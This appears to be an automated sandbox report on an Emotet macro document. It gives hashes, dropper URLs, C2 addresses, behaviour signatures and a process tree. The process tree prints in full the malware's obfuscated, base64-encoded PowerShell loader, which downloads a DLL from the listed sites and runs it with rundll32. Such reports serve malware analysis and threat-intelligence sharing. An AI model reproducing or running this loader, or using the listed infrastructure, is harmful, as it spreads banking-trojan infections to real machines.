emotet | 24e9aabdc3ffb872e3ada2131e7958e0e784eb7a51205ce15235ea171fe0314b

General

Target

ARCH-2020-YNC_4114.doc
Size

157KB
MD5

feed38798d0bf20a70bd72c742b97ef9
SHA1

08ea13bea6a2da4e3e83737c38cc68da749f8581
SHA256

24e9aabdc3ffb872e3ada2131e7958e0e784eb7a51205ce15235ea171fe0314b
SHA512

d88a972c5339fadb30b891a8f902a1d8df7f883908558571470d8daab9ca4eadb63c305dd5a51f2c475e02f47caf8264711b91db78fe91383449a8e7a2a9287e

Score

10^/10

emotet epoch1 banker ransomware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://allcannabismeds.com/unraid-map/ZZm6/

exe.dropper

http://giannaspsychicstudio.com/cgi-bin/PP/

exe.dropper

http://ienglishabc.com/cow/JH/

exe.dropper

http://abrillofurniture.com/bph-nclex-wygq4/a7nBfhs/

exe.dropper

https://etkindedektiflik.com/pcie-speed/U/

exe.dropper

https://vstsample.com/wp-includes/7eXeI/

exe.dropper

http://ezi-pos.com/categoryl/x/

Extracted

Family

emotet

Botnet

Epoch1

C2

152.170.79.100:80

190.247.139.101:80

138.197.99.250:8080

167.71.148.58:443

211.215.18.93:8080

191.241.233.198:80

83.169.21.32:7080

113.163.216.135:80

70.32.84.74:8080

217.13.106.14:8080

177.23.7.151:80

172.104.169.32:8080

187.39.237.56:8080

80.15.100.37:80

177.144.130.105:443

168.121.4.238:80

1.234.65.61:80

191.182.6.118:80

170.81.48.2:80

45.184.103.73:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1500 3540 cmd.exe
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

20 2144 powershell.exe
29 2232 rundll32.exe
31 2232 rundll32.exe
36 2232 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

1324 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Fnjdqlnwbunqhgs\gzxchtdszpbqak.hlg rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1500	3540	cmd.exe

flow	pid	process
20	2144	powershell.exe
29	2232	rundll32.exe
31	2232	rundll32.exe
36	2232	rundll32.exe

pid	process
1324	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Fnjdqlnwbunqhgs\gzxchtdszpbqak.hlg	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1456 WINWORD.EXE
1456 WINWORD.EXE

pid	process
1456	WINWORD.EXE
1456	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exerundll32.exe

pid	process
2144	powershell.exe
2144	powershell.exe
2144	powershell.exe
2232	rundll32.exe
2232	rundll32.exe
2232	rundll32.exe
2232	rundll32.exe
2232	rundll32.exe
2232	rundll32.exe
2232	rundll32.exe
2232	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2144 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1456 WINWORD.EXE
1456 WINWORD.EXE
1456 WINWORD.EXE
1456 WINWORD.EXE
1456 WINWORD.EXE
1456 WINWORD.EXE
1456 WINWORD.EXE

description	pid	process
Token: SeDebugPrivilege	2144	powershell.exe

pid	process
1456	WINWORD.EXE
1456	WINWORD.EXE
1456	WINWORD.EXE
1456	WINWORD.EXE
1456	WINWORD.EXE
1456	WINWORD.EXE
1456	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1500 wrote to memory of 412	1500	cmd.exe	msg.exe
PID 1500 wrote to memory of 412	1500	cmd.exe	msg.exe
PID 1500 wrote to memory of 2144	1500	cmd.exe	powershell.exe
PID 1500 wrote to memory of 2144	1500	cmd.exe	powershell.exe
PID 2144 wrote to memory of 2072	2144	powershell.exe	rundll32.exe
PID 2144 wrote to memory of 2072	2144	powershell.exe	rundll32.exe
PID 2072 wrote to memory of 1324	2072	rundll32.exe	rundll32.exe
PID 2072 wrote to memory of 1324	2072	rundll32.exe	rundll32.exe
PID 2072 wrote to memory of 1324	2072	rundll32.exe	rundll32.exe
PID 1324 wrote to memory of 2232	1324	rundll32.exe	rundll32.exe
PID 1324 wrote to memory of 2232	1324	rundll32.exe	rundll32.exe
PID 1324 wrote to memory of 2232	1324	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ARCH-2020-YNC_4114.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1456

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAKQArACcALwBhACcAKwAoACcAYgAnACsAJwByAGkAbAAnACkAKwAoACcAbABvAGYAJwArACcAdQAnACkAKwAoACcAcgBuAGkAdAAnACsAJwB1ACcAKQArACgAJwByACcAKwAnAGUALgBjACcAKQArACgAJwBvAG0ALwBiACcAKwAnAHAAaAAnACsAJwAtACcAKwAnAG4AYwBsAGUAeAAtAHcAeQAnACsAJwBnACcAKQArACgAJwBxACcAKwAnADQAJwArACcALwBhADcAbgBCACcAKQArACcAZgAnACsAKAAnAGgAcwAnACsAJwAvACcAKQArACcAQAAnACsAJwBdACcAKwAoACcAYgAyACcAKwAnAFsAJwApACsAKAAnAHMAJwArACcAcwA6AC8AJwArACcALwBlAHQAJwArACcAawAnACsAJwBpAG4AZABlAGQAJwApACsAKAAnAGUAawAnACsAJwB0AGkAZgBsAGkAawAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHAAYwAnACsAJwBpAGUALQBzACcAKwAnAHAAJwApACsAJwBlACcAKwAoACcAZQBkAC8AJwArACcAVQAvAEAAXQBiADIAWwAnACsAJwBzAHMAJwApACsAKAAnADoALwAvAHYAcwB0ACcAKwAnAHMAJwArACcAYQAnACkAKwAnAG0AcAAnACsAKAAnAGwAZQAnACsAJwAuAGMAbwBtAC8AdwBwAC0AJwArACcAaQBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcANwBlAFgAJwApACsAKAAnAGUASQAnACsAJwAvACcAKwAnAEAAXQBiADIAWwAnACkAKwAnAHMAOgAnACsAJwAvAC8AJwArACgAJwBlAHoAaQAnACsAJwAtAHAAbwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAGEAdABlAGcAbwByAHkAJwArACcAbAAnACsAJwAvAHgALwAnACkAKQAuACIAcgBFAHAAbABBAGAAYwBlACIAKAAoACcAXQAnACsAKAAnAGIAJwArACcAMgBbAHMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAYABQAGwASQBUACIAKAAkAFIANgA5AEsAIAArACAAJABQAHkAMABlAGIAagBpACAAKwAgACQAUQAzADMASQApADsAJABaADQANABTAD0AKAAoACcARAA4ACcAKwAnADcAJwApACsAJwBPACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBqAHQAcwBwAGUAaAAgAGkAbgAgACQATwBnAF8ANAAzAF8AbQApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiACcAKwAnAGoAZQBjAHQAJwApACAAUwB5AFMAdABFAG0ALgBuAGUAVAAuAHcAZQBCAEMAbABJAEUAbgB0ACkALgAiAGQAYABPAFcATgBMAG8AYQBkAEYAaQBgAGwARQAiACgAJABVAGoAdABzAHAAZQBoACwAIAAkAEIAaABuAHcAZQA5ADIAKQA7ACQAWAA3ADAAQgA9ACgAJwBPACcAKwAoACcANAAnACsAJwAwAEgAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAQgBoAG4AdwBlADkAMgApAC4AIgBsAGAAZQBuAGcAVABoACIAIAAtAGcAZQAgADMANwA2ADUAMgApACAAewAmACgAJwByAHUAJwArACcAbgBkACcAKwAnAGwAbAAzADIAJwApACAAJABCAGgAbgB3AGUAOQAyACwAKAAnAEMAJwArACcAbwBuACcAKwAnAHQAJwArACgAJwByAG8AJwArACcAbAAnACsAJwBfAFIAdQBuACcAKQArACgAJwBEACcAKwAnAEwATAAnACkAKQAuACIAVABvAGAAUwBUAHIASQBgAE4AZwAiACgAKQA7ACQATQA0ADcAVwA9ACgAJwBBADcAJwArACcAMQBKACcAKQA7AGIAcgBlAGEAawA7ACQARwA1ADIASgA9ACgAKAAnAEMAJwArACcAMgAwACcAKQArACcAQwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAMwAzAFQAPQAoACcAUQA5ACcAKwAnADYAVAAnACkA
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1500

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:412

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAKQArACcALwBhACcAKwAoACcAYgAnACsAJwByAGkAbAAnACkAKwAoACcAbABvAGYAJwArACcAdQAnACkAKwAoACcAcgBuAGkAdAAnACsAJwB1ACcAKQArACgAJwByACcAKwAnAGUALgBjACcAKQArACgAJwBvAG0ALwBiACcAKwAnAHAAaAAnACsAJwAtACcAKwAnAG4AYwBsAGUAeAAtAHcAeQAnACsAJwBnACcAKQArACgAJwBxACcAKwAnADQAJwArACcALwBhADcAbgBCACcAKQArACcAZgAnACsAKAAnAGgAcwAnACsAJwAvACcAKQArACcAQAAnACsAJwBdACcAKwAoACcAYgAyACcAKwAnAFsAJwApACsAKAAnAHMAJwArACcAcwA6AC8AJwArACcALwBlAHQAJwArACcAawAnACsAJwBpAG4AZABlAGQAJwApACsAKAAnAGUAawAnACsAJwB0AGkAZgBsAGkAawAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHAAYwAnACsAJwBpAGUALQBzACcAKwAnAHAAJwApACsAJwBlACcAKwAoACcAZQBkAC8AJwArACcAVQAvAEAAXQBiADIAWwAnACsAJwBzAHMAJwApACsAKAAnADoALwAvAHYAcwB0ACcAKwAnAHMAJwArACcAYQAnACkAKwAnAG0AcAAnACsAKAAnAGwAZQAnACsAJwAuAGMAbwBtAC8AdwBwAC0AJwArACcAaQBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcANwBlAFgAJwApACsAKAAnAGUASQAnACsAJwAvACcAKwAnAEAAXQBiADIAWwAnACkAKwAnAHMAOgAnACsAJwAvAC8AJwArACgAJwBlAHoAaQAnACsAJwAtAHAAbwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAGEAdABlAGcAbwByAHkAJwArACcAbAAnACsAJwAvAHgALwAnACkAKQAuACIAcgBFAHAAbABBAGAAYwBlACIAKAAoACcAXQAnACsAKAAnAGIAJwArACcAMgBbAHMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAYABQAGwASQBUACIAKAAkAFIANgA5AEsAIAArACAAJABQAHkAMABlAGIAagBpACAAKwAgACQAUQAzADMASQApADsAJABaADQANABTAD0AKAAoACcARAA4ACcAKwAnADcAJwApACsAJwBPACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBqAHQAcwBwAGUAaAAgAGkAbgAgACQATwBnAF8ANAAzAF8AbQApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiACcAKwAnAGoAZQBjAHQAJwApACAAUwB5AFMAdABFAG0ALgBuAGUAVAAuAHcAZQBCAEMAbABJAEUAbgB0ACkALgAiAGQAYABPAFcATgBMAG8AYQBkAEYAaQBgAGwARQAiACgAJABVAGoAdABzAHAAZQBoACwAIAAkAEIAaABuAHcAZQA5ADIAKQA7ACQAWAA3ADAAQgA9ACgAJwBPACcAKwAoACcANAAnACsAJwAwAEgAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAQgBoAG4AdwBlADkAMgApAC4AIgBsAGAAZQBuAGcAVABoACIAIAAtAGcAZQAgADMANwA2ADUAMgApACAAewAmACgAJwByAHUAJwArACcAbgBkACcAKwAnAGwAbAAzADIAJwApACAAJABCAGgAbgB3AGUAOQAyACwAKAAnAEMAJwArACcAbwBuACcAKwAnAHQAJwArACgAJwByAG8AJwArACcAbAAnACsAJwBfAFIAdQBuACcAKQArACgAJwBEACcAKwAnAEwATAAnACkAKQAuACIAVABvAGAAUwBUAHIASQBgAE4AZwAiACgAKQA7ACQATQA0ADcAVwA9ACgAJwBBADcAJwArACcAMQBKACcAKQA7AGIAcgBlAGEAawA7ACQARwA1ADIASgA9ACgAKAAnAEMAJwArACcAMgAwACcAKQArACcAQwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAMwAzAFQAPQAoACcAUQA5ACcAKwAnADYAVAAnACkA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2144

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll,Control_RunDLL
3⤵
- Suspicious use of WriteProcessMemory
PID:2072

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll,Control_RunDLL
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1324

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Fnjdqlnwbunqhgs\gzxchtdszpbqak.hlg",Control_RunDLL
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2232

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll
MD5
759f11de546f75ec1b576ed031c7a1dc

SHA1
a727ebfc32b3c8c7b1fe073f009c53d49fae6f72

SHA256
bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79

SHA512
73c0609a7614505cf45dc98076194d1838d71465baa694d8efb7bc25e63c9c42a6a2447cdd25731cb4dd141cb467cd658461a01fca0b2dd19b0b4fa9842ee88d

Download Submit
\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll
MD5
759f11de546f75ec1b576ed031c7a1dc

SHA1
a727ebfc32b3c8c7b1fe073f009c53d49fae6f72

SHA256
bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79

SHA512
73c0609a7614505cf45dc98076194d1838d71465baa694d8efb7bc25e63c9c42a6a2447cdd25731cb4dd141cb467cd658461a01fca0b2dd19b0b4fa9842ee88d

Download Submit
memory/412-7-0x0000000000000000-mapping.dmp

Download
memory/1324-17-0x0000000000000000-mapping.dmp

Download
memory/1324-19-0x0000000003130000-0x000000000314F000-memory.dmp

Filesize
124KB

Download
memory/1456-5-0x00007FFB52C70000-0x00007FFB532A7000-memory.dmp

Filesize
6.2MB

Download
memory/1456-3-0x00007FFB33400000-0x00007FFB33410000-memory.dmp

Filesize
64KB

Download
memory/1456-6-0x00007FFB33400000-0x00007FFB33410000-memory.dmp

Filesize
64KB

Download
memory/1456-2-0x00007FFB33400000-0x00007FFB33410000-memory.dmp

Filesize
64KB

Download
memory/1456-4-0x00007FFB33400000-0x00007FFB33410000-memory.dmp

Filesize
64KB

Download
memory/2072-15-0x0000000000000000-mapping.dmp

Download
memory/2144-10-0x00000286BB050000-0x00000286BB051000-memory.dmp

Filesize
4KB

Download
memory/2144-14-0x00000286BB0D6000-0x00000286BB0D8000-memory.dmp

Filesize
8KB

Download
memory/2144-13-0x00000286BB0D3000-0x00000286BB0D5000-memory.dmp

Filesize
8KB

Download
memory/2144-12-0x00000286BB0D0000-0x00000286BB0D2000-memory.dmp

Filesize
8KB

Download
memory/2144-11-0x00000286BB540000-0x00000286BB541000-memory.dmp

Filesize
4KB

Download
memory/2144-9-0x00007FFB4BB80000-0x00007FFB4C56C000-memory.dmp

Filesize
9.9MB

Download
memory/2144-8-0x0000000000000000-mapping.dmp

Download
memory/2232-20-0x0000000000000000-mapping.dmp

Download
memory/2232-21-0x0000000002ED0000-0x0000000002EEF000-memory.dmp

Filesize
124KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads